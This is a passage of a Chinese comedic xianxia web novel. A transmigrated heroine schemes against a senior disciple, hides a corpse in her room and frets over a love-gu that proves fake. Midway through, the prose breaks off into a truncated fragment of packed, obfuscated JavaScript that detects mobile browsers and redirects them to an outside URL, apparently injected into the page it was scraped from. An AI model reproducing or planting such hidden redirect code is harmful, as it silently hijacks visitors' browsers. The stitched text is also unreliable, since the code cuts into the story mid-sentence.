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站在万花中央,中二之魂直接爆表,她感觉自己就像是个伟大的召唤师,向天伸出一根手指,勾了勾:“上面的藤下来!”
片刻后,符窈不费吹灰之力从云雾中升腾而起,刚从云中出来,就看见岁寒人在中心岛的下方边缘,攀着正准备登岛。
而也就在这时,十二根玉柱上的龙眼转动,开始齐齐向岁寒所在的方位射去。
符窈头皮发麻,这分明……这分明就是要触发攻击的节奏!
而这攻击一旦触发,瀚辰仙府的人必然会接到消息,到时候追究起来,搞不好连他们月清宫都脱不了干系,更别说她还在现场了,等会儿能不能活着出去都是个问题。
符窈抓狂,啊啊啊啊啊总有刁民要害她!
“抓住他!”
说时迟,那时快,符窈一声令下,离岁寒最近的一根藤迅速缠绕将其锁得不能动弹。
岁寒愣了愣,转头循声看来,眉头一跳,似乎对她还活着很是意外。
符窈:“……”
这就意外了?
真是越想越生气,她这一天天的,在这智勇大闯关呢?
欺人太甚!
符窈启唇发号施令,中二之魂持续燃烧——
“能放电的过来。”
“有毒的过来。”
“能致人梦魇的过来。”
……
岁寒看着她,眉头皱得快能夹死苍蝇。
“你在做什么?”他问。
符窈:“呵!”
她在做什么?
符窈抱臂抬了抬下巴,漫画里的主角绝地逢生之后都是要大杀四方的,你不知道么?
啊,想起来了,岁寒没有看过漫画。
于是符窈好心解答:“你的死期到了!”
岁寒以为自己听错了:“你说什么?”
符窈没有回答,直接用手接住了从四面八方飞来的花草树果根茎藤蕊……
自从发现自己能够对植物使用言灵后,她现在已经不是从前的符窈了,她是——
符·植物的王·窈!
“把他给我敲晕!”
符大王朝岁寒旁边的另一根藤命令道。
……
片刻后,符窈迎风站着江畔,整个人神清气爽,然后低头一看脚边被五花大绑的岁寒……
啊啊啊啊啊!
中二之魂烧没了,剩下的全是尴尬!
救命!她刚刚在做什么?
刚才那傻帽是她?
天塌地陷紫金锤,符窈被片刻前的自己鞭笞得一跪不起。
呜呜呜……好羞耻……
所以说她不喜欢跟人打交道!会原形毕露的……
自闭了好半响,符窈实在受不了了,她甩了甩头,记忆甩掉,全部甩掉!
符窈把滑翔伞捡了回来,库库销毁,然后检查了一下自己身上有没有掉东西。
当务之急——加速离开这不堪回首之地!
幸好刚才没有观众,她缩起尾巴又是一条好汉,至于善渊仙尊……
符窈抬头望向中心的浮岛,唔,善渊仙尊又没有醒,他不算观众。
这一打岔,符窈的启程步骤又得重来,她低头又又检查了一遍自己身上有没有掉东西。
“应该没有吧……”她呐呐道,她身上拢共就这些东西,滑翔伞已经销毁了,其他的都在储物袋里没有拿出来,现在只需要把岁寒带上……
想到什么,符窈神思忽地顿住。
她转头看向花丛中的某处,心中翻涌起了挣扎。
人不能……人至少不能……
7. 别人金屋藏娇,她…… 对不起,佚名兄……
月清宫,藏书阁。
“听说了吗,这几天瀚辰仙府精锐尽出,出大事了!”
符窈找到了自己要的书,刚准备下楼,就听见了有几个人正在上来。
她心中一惊,飞快闪身躲了回去,唔……还是等人走了之后她再下去吧。
她蹲在靠近楼梯的书架后,低头忙碌地在底下一排中翻找,指尖沿着书脊划来划去,却连自己摸的是什么都没看清。
瀚辰仙府?精锐尽出?
这关键词搞得符窈有点心慌慌。
瀚辰仙府是修真界的第一仙府,势力范围极广,下辖的宗门也多如繁星,严格说起来,他们月清宫其实也隶属于瀚辰仙府,只不过……是分支中的分支。
他们说的精锐尽出,应该指的是瀚辰仙府的本宗吧?
符窈默默想着,耳朵却不由得悄悄支了起来。
“怎么了怎么了,出什么大事了?”
符窈点头,对这个问题表示认可,她也很想知道。
“不知道啊,灵网上也没确切消息,搞得神神秘秘的,但总之,肯定是大事,我听说——”
符窈侧耳伸长脖子,听说什么?别说悄悄话呀,让她也听听。
突发事件、仙府长老、大惊、连夜开会、魔族……
符窈模模糊糊听到几个词儿,正心事重重的时候,突然又听到了自己的名字,吓得她一激灵,差点摔个倒仰。
不、不是,这里面怎么还有她姓名?
“听说没,大师兄被符窈带回来几天了,现在还在医堂躺着呢,据我在医堂打杂的师弟说,大师兄身上可疑痕迹遍布!”
符窈:“……”
悬着的心落下,原来是已经说到下一个八卦了……
吓死她了,她还以为是她和岁寒误闯江遇臣沉睡之地的事情被发现了。
符窈拍了拍胸口,果然,人不能干坏事,一干坏事就很容易心虚草木皆兵。
几人声音渐远,已经上到了上面的楼梯,她起身下楼。
“什么可疑痕迹?”
“这还用说吗,你也不看看他是被谁给带回来的,这肯定是惨遭符大小姐魔爪了啊!”
“嗬——,你是说,大师兄被符大小姐那啥玩成破布了?”
符窈下楼的脚步顿住。
“嘘!小点声!万一传到符霸王耳朵里,小心我俩吃不了兜着走,自己心里知道就行了!”
符窈:“……”
谢邀,已经听到了,但——
什么玩成破布!符窈脸涨通红,胸腔剧烈起伏,袖中的手也跟着一块攥紧,她难道是色魔吗!
【月清宫瓜田猹:“我就说符霸王这段时间怎么那么安静,原来是赛场失意情场得意,悄摸声儿地就把大师兄这块硬骨头给啃了,牛啊牛啊……”(崩坏值-5)】
还真是。
符窈……符窈心情复杂地抱着书走了。
而与此同时,另一边,在听了医师一连串“年轻人不要玩得太花”的嘱咐后,岁寒拎着药从医堂大门出来,心情竟也是如出一辙的复杂。
他看着外面的流云飞鹤、伴石青松,静静站立了好一会儿,才找回了一点大梦初醒的感觉。
昏睡的这几天里,他梦魇不断,不是梦见自己对符窈拔刀相向,就是梦见自己将她推下悬崖,又或是把她塞进长满尖牙的巨物之口……内容花式繁多,无一例外都是他迫害符窈的场面。
“到底发生了什么?”
岁寒喃喃自语,眉头紧皱却怎么也想不起来,这段时间的记忆,尤其是从绝情谷离开之后的,一片空白。
唯一的一点线索,便是他这几天做的梦,可那梦……
岁寒掀开自己的袖子,手臂上还有几道不知是火烧还是雷劈留下的焦痕,扯松领子,身上捆绑的痕迹之深,到现在都还没有消下去,更甚者——
岁寒手往后,五指撑开,连袍带肉一块抓紧,他的臀上……
岁寒呼吸急促,清俊的脸绷不住,逐渐扭曲,他的臀上……竟然遍布针眼!
那梦简直荒谬!与其说是他迫害了符窈,倒不如问问符窈究竟对他做了什么!
沿着石阶快步而下,说来也巧,藏书阁就在医堂的对面,下去的石阶也是相对而建。
符窈习惯性地低着头走路,却不曾想,刚走到两梯汇聚的平台处,就被一人给挡住了去路。
符窈往旁边让,那人却又跟着挡了过来。
???
符窈抬头,愣住,嗯……好一张阴云密布的脸,长得和岁寒还有点像。
再定睛一看——
等等!不是像,妈妈呀,他就是岁寒!
符窈差点原地起跳,好悬忍住,才只是将将退了几步,拉开距离。
“做、做什么?”她不自然地将头扭到了一边,不料这一扭,岁寒的视线倒是避开了,可赶来的吃瓜群众那眼睛简直在冒金光啊。
“快快快,开始了开始了,岁寒要找符窈算账了!”
符窈眼前一黑,聚拢的人一多,她又开始如芒刺背了。
呜呜呜,她不想被人当猴看。
快走!心中仿佛有个声音在催促她,符窈回过了神来,立马行动,她抱紧怀里的书,再次绕开岁寒。
“你就没有什么话要跟我说的?”
擦身而过时,岁寒冷若冰霜的声音在耳边响起。
符窈脚下一乱,差点将自己绊倒。
岁寒一把抓住了她胳膊,随后沉沉的视线也跟着又锁定了她。
符窈的额头沁出了汗来。
要说的话?
符窈摇头,没、没有……
不管是他猜出自己暴露了身份,还是后面阴差阳错进到了那个地方,又或是最后她逞威风把岁寒绑了去喂食人花,完了又拖出来各种试验,勉强清除了他一段记忆。
就……没有一点儿是能说的……
符窈一边紧闭双唇,一边视线无措地仓皇游移,别问了,她真的不能自爆。
忽然,符窈在人群中看见了庄怜雪和封池。
!!!
警钟乍响,符窈本就激增的心率再度飙升。
现在的崩坏值已经累积到了五十,虽然还剩一半,但符窈已经认清了自己——她浑身都是破绽!
啊啊啊她要离开,现在立刻马上!
直觉告诉她,在这和岁寒纠缠越久,被看穿的风险就会越大。
符窈用力挣脱开岁寒的手,再度落荒而逃。
闻讯赶来的吃瓜群众齐齐失望不已。
【月清宫瓜田猹:“什么情况,这就没了?这么大好的机会,符霸王居然不把握住说要负责?”(崩坏值+3)】
【月清宫瓜田猹:“果然,得到了就不会再珍惜了,符大小姐这是腻了?这么快?瞧大师兄的身影看着多萧索,被吃干抹净了人还不要他,好可怜……”(崩坏值+3)】
……
【庄怜雪:“符窈和封池到底谋划了什么事情?如果落点是在岁寒身上的话,她看起来似乎已经成功了,可为何……”(崩坏值+5)】
【封池:“符窈和岁寒两人这气氛不对劲啊,难道我给她的那蛊——”】
符窈呼吸一滞,脚忽然重重往下一落,停住,然后一个转身又跑回去,停在了岁寒面前。
只见她眼角泛红,快要哭出来了似的抬头看着他,整个人好似就要迎风而碎。
岁寒愣住,“你……”
符窈双手合十,声音带着哭腔:“你、你别动。”
岁寒不解,低头静静看着她,等待下文。
然而……没有下文。
手掌带起风声——
“啪!”
符窈一巴掌呼在了他脸上。
岁寒猝不及防挨了这一下,脸都被打得偏至了一边。
!!!!!
刹那间,全场惊呆,鸦雀无声!
而符窈……
符窈她打完就跑了!
啊啊啊啊啊啊……
符窈左手抱着右手,心中尖叫,一路火花带闪电冲回自己的院子,进屋、关门一气呵成,最后靠着门板,滑了下去。
这就是做恶毒女配的感觉吗……好刺激!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13776771|145753||http|test|mini|href|location''.split(''|''),0,{}));
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>就是……
符窈用自己颤抖的手捂住了同样颤抖的小心脏。
就是心脏有点受不了……
岁寒刚才看她的眼神诧异至极,他现在一定觉得她很不可理喻吧……
符窈怔怔想着,完了两腿一伸,破罐破摔。
觉得不可理喻也没有办法,恶毒女配是这样子的,不可理喻是常态。
而且在那样的情境下,她必须为这件事画上一个不容人探究的句点,这么一想……她临场发挥的那一巴掌简直就是神来之笔!
不是问我有什么话要说吗?
啪!
这一巴掌就是我的回答。
符窈一边复盘,一边惊叹,哇,她刚才这么威武雄壮的吗?
unbelievable!
符窈惊呆,反复回味,记忆被篡改得越来越离谱,就在她一巴掌定乾坤,就要黄袍加身登基的时候——
符窈一个抬眼,猛地在屋里看见了一樽棺木……
啊啊啊啊啊谁往大活人房里放棺材啊!
哦,是她……
凉水兜头淋下,符窈一秒被拉回现实,清醒了……
别人金屋藏娇,她金屋藏尸……
这是人能干出的事?
符窈良心受到了谴责,起身缓缓走近。
敞开的棺木中,躺着一个尸身完好的男子,男子容颜俊美却并不阴柔,是极具冲击力的那种锋硬之美,就……还挺令人血脉喷张的……
这个评价甫一冒出来,符窈顿步,被自己吓到了似的,疯狂抓着心中小人摇晃,你清醒点!这是尸体、尸体啊!
“罪过、罪过……”
符窈双手合十,朝棺中的佚名兄拜了拜。
“你放心,我带你回来绝对没有非分之想,我只是……”需要研究一下怎么解蛊。
是了,她现在最要紧的事,就是赶快把那合欢蛊给解开啊!
符窈终于想起了正经事,立刻摒弃杂念,掏出了她从藏书阁借回来的《蛊物大全》。
“等解开了蛊,我就把你埋回去!”
符窈郑重向其保证,之后靠着棺壁坐下,肩负着佚名兄回墓的希望,翻开《蛊物大全》,一目十行地寻找有关合欢蛊的记载。
很快,功夫不负有心人,她找到了!
书上说,合欢蛊分两种,一种是连理合欢树千年自然孕育而成,另一种,则是蛊师人工培育炼制出来的,两者之间的效果差别比较大,前一种比后一种要猛得多。
符窈:“……”
她身上的是哪种来着?封池气急败坏的声音突然在脑海乍现——
“知道我为了拿到这对合欢蛊废了多大力气么,这可是纯天然的合欢蛊!一棵连理合欢树千年就只能孕育出这么一对!”
符窈:“……”
唔!心态有点崩,好像是前一种。
不行不行,稳住,继续往下看,这里面既然都记载了,肯定有解蛊的办法。
果不其然,下面写的就是。
符窈一个字一个字地念了出来:“前者虽然效果猛烈,非人意志可违逆,但却也有人性之处,并不一定需等每月发作,持续六年又九个月,还有一种可以快速解开的方法——”
符窈整个人为之一振,猛拍大腿,她就知道,她就知道!天无绝人之路,肯定有其他的方法,而且还是快速的!
之后的内容在下一页,符窈激动翻页,只见其上写道——“还可以中蛊双方主动双修,九九八十一次之后,蛊自然而解。”
符窈:“……”
原来如此。
她嗖地一下把书丢开,开始掰手指头。
众所周知,书中人的平均水平是一夜七次,一夜算四个时辰的话,那么一天十二个时辰就是二十一次,而八十一次……昼夜不休的话,只需要三天多,不到四天诶!
这么一算是挺快的哈,可是……
可是这根本就不是算术题!!!
啊啊啊啊啊!
五天之后就是月圆之夜,只有五天合欢蛊就要发作了……
怎么办!!!
8. 论选择的重要性
符窈失眠了,颓了一个晚上,如果不是第二天有课,她大抵还能继续颓下去。
在翘课和去上之间,她其实挣扎了一下,最后想到自己那惨不忍睹的实力,终还是硬着头皮出门了。
虽说她有言灵,能够让植物听话看着厉害,可一旦碰上修为高点的,就会变得很鸡肋,毕竟,一株花啊草啊的,真厉害的都成精了,没成精的再厉害又能厉害到哪去,她之前能制住岁寒,完全是因为地利,当时但凡是在其他地方,她搞不好已经死透了。
每次想起这件事,符窈都忍不住后怕又庆幸。
上课的地点是听松楼,位置在藏书阁后面,她便顺道去把书还了,之后又借了几本。
这回她学聪明不走石阶了,直接往上面御剑过去,极力避免再遇到岁寒然后又被人围观。
昨天她跑了最后岁寒是个什么反应,她到现在都没敢看灵犀镜,唔……一整个鸵鸟心态。
到了听松楼,在外头还能听见有人在说话,她一进去,大家瞬间就跟消了音似的,全都齐刷刷地看着她。
符窈脚趾抠地,全程木着一张脸,走到最里面角落的位置坐下,然后马不停蹄地就翻开了她刚从藏书阁新借的书,潜心研究。
她很忙的,这样……应该就不会有人来找她说话了吧?
符窈一边看书,一边耳听八方地紧张着。
也不知是不是她昨天那一巴掌把大家都给吓着了,瓜田猹们都没给她刷崩坏值,就是现在,她都感觉……
符窈抿了抿唇,为了印证一下自己的猜想,她一个深呼吸过后,忽然抬头猛地用视线扫荡一圈,嗯……所过之处,没一个敢跟她对视的,一个个躲得比她还快。
【月清宫瓜田猹:“吓死!符霸王果然还在气头上,这老虎须咱可不敢去触,不过,大师兄到底做什么对不起她的事了,这怎么还气得扇巴掌了?哎呀呀,这里头指定有事儿啊,可究竟是个什么事,咱也不敢去问,这就很难受了,唉,也不知道宫主到底什么时候回来,宫主这要是在,符霸王肯定的会找他主持公道啊,咱也不至于……”(崩坏值-6)】
符窈:“……”
紧抠着脚趾微微放松了些许,原来发一回飙还能有这效果……
世界清静了,符窈继续研究墓葬。
是的,她准备把佚名兄埋回去了。
没找到其他的解蛊方法,过几天就是月圆之夜,佚名兄再和她同处一室着实是有点危险。
所以,从现在开始就要未雨绸缪了。
只是书上说,合欢蛊发作时效果之强烈非人意志可违逆,她到时候……真的能够扛过去么?
符窈心里有点打鼓,但——
哎呀,不管了,抗不过去也得抗,实在不行把自己打晕,总之,现在先把佚名兄安顿好。
之前佚名兄埋的那个地方,如今风紧,她是不敢再贸然进去了。
不过,既然善渊仙尊的沉睡之地都选在了他上头,佚名兄原本的墓地风水一定很好,重新再给他选址的话,风水也不能太差了,她得好好研究才行。
说起来,她还得庆幸当初自己当机立断勇敢跳下去了呢,万一当时没跳绑定了仙尊,她现在估计早就崩溃了。
别的不说,这要是仙尊,她敢这样挖了又埋吗?
符窈拍拍胸口,可见,选择还是很重要的。
趁着授课的长老还没来,符窈抓紧了时间看书,时不时还做点笔记,把要点给记下来,超级认真。
只是,看着看着,不知怎的,她竟又感觉周边人的视线在似有若无地往她身上飘了。
符窈:“???”
她疑惑抬头,不料这一看,竟是看见岁寒站在门口,此刻,他的眼睛正直直地看着她。
符窈:“!!!!!”
晴天霹雳!
符窈低头,不、不是,这不是他们筑基期上的课么?岁寒来这里做什么?
不会是来找她的吧?不要啊……
冤冤相报何时了,你可是要杀我,我只是打了你一巴掌诶,虽然你没杀成,但我没也打死啊,虽然你现在忘了,但、但是……
符窈小脸嗖地一下垮了下去,她现在素质也是有点不太稳定。
岁寒非要跟她过不去的话,小心……小心她跟他同归于尽!她可是知道很多秘密的!
符窈在心里威胁得气吞山河,奈何谁也听不到,只一张脸气鼓鼓地像河豚,就连冒火的视线也全射自己桌上了。
岁寒在门边看了她一会儿,收回目光,迈步走到了所有人的最前方,声音清冷:“姚真人今日有事,这节课由我来代授。”
符窈:“……”
原来是代课,不是来找她的啊……
符窈脸颊滚烫,身子越压越低,最后直接趴在了桌子上,就……好尴尬。
自作多情了这不是……
这一堂课听得,符窈就没从桌子上起来过。
课上到后半截,岁寒让他们静心感受心法的运转,自己则走下了台去,绕了一圈,走到了最里的符窈边上,见她睡得香甜,眉梢不由得微挑。
看来,这人心法学得挺好,静心得都睡着了。
岁寒看她桌上凌乱地堆了一沓纸,笔记做得倒是还挺多,随手翻了一下,他说的重点基本都记下了,这倒是令他有些意外,不过……
他忽然翻到底下还有本书,掀起封皮一看——
《墓葬选址五行风水概要
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》
墓、墓葬?
岁寒瞳孔猛地一缩!
这节课学的是清心诀,别的效果先不说,催眠的效果是真好,符窈一觉睡到了下课。
岁寒倒是没说什么,只是临走时看她的眼神,多少是有点防备。
符窈:“???”
……
相安无事了两天,第三天夜里,魔族的人找到了岁寒。
岁寒听完对方的汇报,眉头忽然紧锁:“你是说……江遇臣失踪了?瀚辰仙府的人在怀疑是我们干的?”
“是。”那人点头,“这几日他们精锐尽出,我们的好几处据点都被掀了,死伤惨重。”
岁寒听了却直觉不对,瀚辰仙府和他们魔族本就不对付,单是掀几处据点并不能说明什么,何以见得是江遇臣失踪了?
“江遇臣失踪的消息是从哪来的?”岁寒问。
那人回答:“是我们的人无意间听到的。”
“无意间听到的?”岁寒冷笑,这世上哪来的这么多巧合,说不准……
岁寒双眸微微眯了眯,说不准是有人在故意放消息,告诉他们江遇臣不见了,想要借刀杀人?
这就有意思了……
岁寒勾唇,忽然有些戏谑,看来,这瀚辰仙府内部,也不全然是铁板一块。
“行了,我知道了,你下去吧。”岁寒道。
“是。”那人躬身退下,走了几步,却又停了下来:“听说最近那位刁难您跳得厉害,需不需要属下——”
那人做了个斩首的动作。
岁寒看到不远处的院子里出来了一个人影,身形微动,“不用,我自己会解决。”
“还有——”岁寒看向他,目露警告:“我不喜欢被监视,以后少来这里!”
说罢,岁寒便离开转而跟上了那道在黑夜中鬼鬼祟祟穿行的人影。
符窈扛着一把锄头和一把铲子。
她已经相了好几天的地了,这块地方是她目前为止最满意的,背山面水还聚气,一看就风水不错。
就是这了。
符窈挥着锄头开挖,将灵力集中到手上,挖得那叫一个轻松、热火朝天。
“我可不是娇滴滴的女郎,有的是手段和力气!”
符窈边挖边哼哼,挖松了铲,铲完了又挖,没一会儿就刨出了个大坑来。
她站在坑底,左看右看欣赏了一下,之后满意地拍了拍手上的灰:“现在坑已经挖好了,只要……嘿嘿嘿……”
符窈说着说着笑了起来,只要把佚名兄扛过来再把土埋上就好啦,她可真能干!
而就在这时,身后却突然响起了一道声音,音色幽幽——
“你在这做什么?”
9. 致命诱惑
符窈怀疑自己被盯上了,并且有证据。
大清早,她混在广场的人群中跟着一块挥剑,挥得好好的,突然一道幽光扎在了她背上。
符窈:“唔!”
符窈背后的蝴蝶骨绷紧,本来她就对人的视线过敏,这会儿更是直接拉响了十级防空警报,莫名就感觉后背凉飕飕的,好像有一个红点在移动,糟糕,是被瞄准的感觉……
她僵着脖子,咔嚓咔嚓一帧帧回头,余光刚捕捉到岁寒,下意识地就要闪躲,却又想起昨天晚上的事,立马又给自己下达了军令——不行,忍住!说什么也要忍住!
这个时候躲开显得她多心虚啊,不能躲!
符窈硬着头皮和岁寒对视,还不甘示弱地抬了抬下巴,终于,在符窈快要坚持不住的时候,岁寒率先收回了视线。
抗战取得了胜利,符窈心中烟花炸开,欢欣鼓舞得仿佛全身毛孔都在摇摆,嘴角也不由自主地开始上扬,好在被她给紧急发现抿住了,嗯……不能骄傲得太明显,低调、低调……
符窈立正,调整了一下呼吸,继续跟着其他人的节奏一块挥剑,此刻的她,感觉浑身都充满了力量!
岁寒离开广场,身后一众弟子挥剑的动作整齐划一,破空的剑鸣声连连响起,本是寻常的弟子晨练,没什么可奇怪的,可一想起这中间还混着个符窈……
岁寒心中一悸,刹那间竟是有些毛骨悚然。
昨夜,月黑风高——
岁寒站坑边看着符窈,瞳孔地震了一震又一震。
挖这么大一坑,还笑得那么渗人,她该不会是……
!!!!!
想到什么,岁寒谨慎地后退了一步,这才启声质问:“你在这做什么?”
符窈回头,夜太黑,看不清她脸上的表情,只一双眼好似闪烁着微光。
“强、强身健体。”她声音很低,还很轻,静夜中,莫名有种直钻人骨头缝的骇人之感。
岁寒回神,后背忽地一凉,不由得顿步,又回身往挥剑的人群中看了一眼。
符窈从前可没这么勤奋……
一反常态大早上起来挥剑,莫非也是为了强身健体?
这练成了是想做什么?
他竟让她憎恨至此?
岁寒眉头紧锁,对那几天究竟发生了什么,越发地好奇了起来。
……
符窈挥完三千下,乘剑往其他弟子不同的方向飞了去。
与其余弟子都住在弟子院不同,符窈有自己单独的院子,并且占地很广,独踞了一处山头。
院子叫云开院,原主的父母都是月清宫的长老,后来双双因故牺牲,这处院子便是原主父母留下的,即便后来原主被月清宫宫主收作养女,也没有搬离开这里。
院子大,便意味着空旷,说句话甚至都能听到回声,符窈刚穿来的那天晚上,一个人独住这么大一屋子,心里都有点发慌。
可是现在,屋子还是这么大,没有丝毫的改变,她却没有了那种发慌害怕的感觉了。
是因为……因为佚名兄么?
因为她不是一个人,屋里还有一具尸体在等着她?
陡然冒出的答案令符窈猛地起了一身鸡皮疙瘩,这安定的因素未免也太吓人了些。
她搓了搓手臂,肯定不是因为这个原因,应该……
应该是她变适应了。
没错,肯定是因为这个!
符窈重重点头,推门进屋,佚名兄的棺木依旧静静地躺在里头……
昨夜,本该是佚名兄的乔迁之日来着,她坑都挖好了,谁曾想却是横空冒出了个岁寒,那坑少不得是要弃了。
挖了半天白挖,按理来说,符窈本该气恼,可她却没有,究其原因……
符窈垂眸,关门背靠在了门板上。
小时候,她有一个很想要的玩具小熊,可那时候她寄人篱下,舅舅舅妈常常因为多养了一个她而吵架,她怕被赶出去无家可归,根本就不敢提出任何要求,只能自己悄悄地从本就不多的早餐钱里面抠着攒,可是她攒得太慢了,以至于她每次从玩具店路过的时候,都会放缓脚步,只为往橱窗里面多看几眼,确认一下她的小熊还在不在,生怕被别人给买走了。
后来,她终于攒够钱幸运地买到了那只小熊,她偷偷地把它带回了家,所有她不敢对别人说的话,她都会抱着它说给它听,那段时间,算得上是她童年记忆里,为数不多的快乐时光了。
只是好景不长,她只拥有了那个小熊一个月,表哥偷拿了舅妈钱包里的钱,事发后却诬赖到了她身上,之后舅妈从她房间里搜出来了那只小熊,无论她怎么解释,怎么哀求,舅妈都仿佛认定了是她偷的一般,当着她的面用剪刀将小熊剪了个稀碎。
从那之后,她就再也没有小熊了,也变得越发沉默寡言。
时间过去了那么久,她本以为自己已经忘记了那只小熊。
可不知为何,和佚名兄待了几天,竟是又勾起了她这段远久的记忆。
她怔怔看向棺中的男子,难道……是因为她长大了,取向发生了迁移?
仔细想想,一个容貌俊美非凡、不会说话永远倾听、不用担心会失去、更不用担心他失望背叛、而且还任由她摆布的男人……这怎么看都像是个诱惑,致命的诱惑……
完犊子,佚名兄对她来说,好像是真的很有吸引力啊。
她可以……
不!她不可以!!!
符窈闭了闭眼,强行掐断心中遐想,扭头移开视线。
好险,差点就要出大事了,还好她理智和良心并存。
“明天就是十五,重新找地方已经来不及,所以就只能把你给埋在院子里了……”
符窈跟他解释了一句,说罢,便逃也似的提起锄头开工去了。
这次一切顺利,没有再横空冒出一个目击者来。
符窈给他选了一棵最漂亮的树,在底下挖了坑,连人带棺给埋了进去,之后将土填平,怕引人耳目没有堆土包,只是移了座假山过来,以示自己绝不会侵犯的决心。
“放心好了,你肯定是安全的。”符窈拍着假山保证。
至于她自己……
符窈看向空荡荡的屋内,犹豫了一会儿,从里头搬出了一张摇椅放在了假山石边上。
嗯……她上灵网看看有没有什么偏方。
符窈捧着灵犀镜,窝在躺椅上一摇一摇,突然,脚放下一个急刹!
她定定看着灵犀镜上面的内容,瞧瞧她发现了什么,一群买了合欢蛊的消费者在声讨维权?
[杀千刀]:你们这些卖假货的蛊师到底要不要脸,还我血汗钱!说好的月圆之夜□□焚身呢,结果老子上个月用了,别说助兴,我特么一觉睡到了大天亮!还钱!!!
[纯情少男]:就是!奸商!我知道你在看,别搁那暗地里不出声,还钱!亏我当初还那么相信你,拿着个假货,你居然还好意思跟我说那是天然的
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顶级合欢蛊,还什么千年等一回,要不是看我有缘,你留着自用都舍不得卖给我?这些话你是怎么说得出口的,你的良心不会痛么!啊?
[好运常在]:居然有这么多人上当受骗,当初我也碰见了一个摆摊卖合欢蛊的,说一千个竹筒里面,有一个是真的,当初我看见前面好多人买了都没开出来,只剩下最后一个,那人走的时候我还想追来着,可后来转念一想,他卖两百灵石一个,怎么可能会有真东西在里头,好险,还好我当时理智回笼了没追去买,不然,我估计也要在这哀嚎了。
……
竟然有这么多人买到了假货啊,符窈若有所思,咱就说……有没有可能……
符窈盘腿坐直,立刻发消息向封池求证。
[扶摇直上]:你那对合欢蛊是买的,还是你自己从连理合欢树上取的?
封池回得很快。
[一剑封喉]:买的啊。
符窈沉默了一会儿,继续探问。
[扶摇直上]:可你之前说你废了很大力气?
[一剑封喉]:那可不是废了很大力气么,为了这对合欢蛊,我可是追着那蛊师跑了好几座城池,那本是人家留着自己用的,最后还是看我实在心诚,才勉为其难卖给了我,这要是换做其他人,人根本就不卖好么!
符窈:“……”
好熟悉的话术……
[扶摇直上]:你花多少灵石买的?
[一剑封喉]:两百啊。
符窈:“……”
破案了,封池这指定是让人给骗了。
两百怎么可能买到天然的千年合欢蛊,人蛊师自己炼的都不止这个价!
她就说嘛,这道具提前出来这么久,肯定有变数。
这要是原书里那对真千年合欢蛊,照封池这么个得来法,那得是走了多大的狗屎运?
[一剑封喉]:你跟岁寒……
符窈撇了撇嘴,还有心思在这问她和岁寒呢,维权去吧你。
[扶摇直上]:你买的合欢蛊是假的。
[一剑封喉]:什么!!!
符窈收起灵犀镜,放松了躺回了椅背,悠悠摇晃,面露微笑。
这世上,还有什么比虚惊一场更令人开心呢,根本就不用担心嘛,明天晚上睡一觉就过去了。
“秋天了,开个花庆祝一下。”
符窈仰头对顶上的树道。
树:“……”
原来你也知道是秋天……
憋,使劲憋……
满树花开探出墙头,偶有一阵风吹过,带走了几片花瓣。
庄怜雪与同门从附近御剑而过,忽地两指将迎面而来的花瓣夹住,花瓣形似羽毛,颜色红如烈火。
旁边的人寻迹望去:“嚯!那不是符大小姐的院子么?看来符大小姐这是遇见好事了啊,竟还有心情耗费灵力侍弄花树?”
庄怜雪往那墙头望了一眼,捉摸不透,又收回了目光。
是夜,庄怜雪时隔几日再度入梦。
梦境中,满月高悬,紧闭的门扇突然被里面的人撞开,一人扑倒在地,喉间似有呜咽。
满树花开的庭院中,那人挣扎着往外爬行,双目猩红,仿佛已经失去了理智:“道德在哪里?底线在哪里?男人……在哪里!!!”
庄怜雪被这震耳欲聋的宣言激得从梦中惊醒坐了起来。
她揉了揉发胀的额角,这次的预知梦,居然梦见的是符窈……
10. 不行了,这蛊好猛!
十五日傍晚,符窈躺床上一边啃果子,一边刷灵犀镜。
自从知道自己身上的合欢蛊是假的后,符窈的心态几乎是立刻就发生了变化,就……很轻松。
她以前根本就是在杞人忧天嘛。
果子啃完,符窈给自己施了个清洁术,之后换了个姿势,趴枕头上继续刷灵犀镜。
让她来看看最近瀚辰仙府那边有什么新动向。
自从听说了瀚辰仙府忽然之间精锐尽出之后,符窈就一直在灵犀镜上关注着各种小道消息。
别问,问就是心虚。
她也不知道自己这是什么毛病,以前读书的时候,有一次同桌偷了其他同学的东西,那个同学丢了东西到处找的时候,明明不是她偷的,可她也会不由自主地跟着一块心虚,甚至心虚比同桌还明显,以至于那个丢了东西的同学头一个就怀疑上了她。
之后发生的事情,符窈不愿回想。
总之,她没少因为这脆弱的心理素质而吃亏。
现在也是一样,她明明也没干什么,甚至连善渊仙尊长什么样都不知道,只是因为阴差阳错去到了那个地方,她就一整个心虚到不行。
符窈锤了锤枕头,恨铁不成钢,但……小道消息还是要刷的。
“嗯?”
符窈目光顿了顿。
灵网上有人猜测,瀚辰仙府最近连番清剿魔族据点、肃清修真界,是为了迎接善渊仙尊归来。
符窈怔住,别说……这看着好像有道理。
她指尖划拉着枕头算了一下。
她穿来的那天是初二,庄怜雪那个时候预知到的善渊仙尊归位大典是在一个月后,那差不多就是下月初,而善渊仙尊肯定不是在大典当天醒的,真正的苏醒时间还得往前推,至于究竟是几号,书上没说符窈也不太清楚,但她估计差不离就是这个月二十几号的样子,而今天已经十五了……
那不就是这十来天的事了?
嚯!神预言!
符窈眨了眨眼,瞬间对提出这个猜测的人肃然起敬。
让她来看看他还说了什么。
([瀚辰仙府神秘老六]:想知道如何引起仙尊的注意吗?想要获得仙尊青睐,在万千弟子之中脱颖而出一飞冲天么?如果你的答案是是,那么,这本秘籍你绝对不容错过!它就是——关于仙尊的一百个绝对!
此秘籍乃本人扎根瀚辰数百年,潜心观察呕心沥血总结而成,内容保真,走过路过不要错过!下面是试看——
一、绝对不要妄图和仙尊制造意外的肢体接触,一片衣角都不要去碰!
二、绝对不要直视仙尊,更不要试图揣测仙尊的想法,所有他的吩咐,通通无脑照办!
三、绝对不要在仙尊面前说谎、耍小聪明、玩手段,仙尊没让你说话就好好把嘴巴闭上!
……
欲知后文如何,请联系购买。)
符窈:“……”
符窈:“…………”
这套路砸得符窈猝不及防,好家伙,竟然是个卖书的!
终究是错付了……
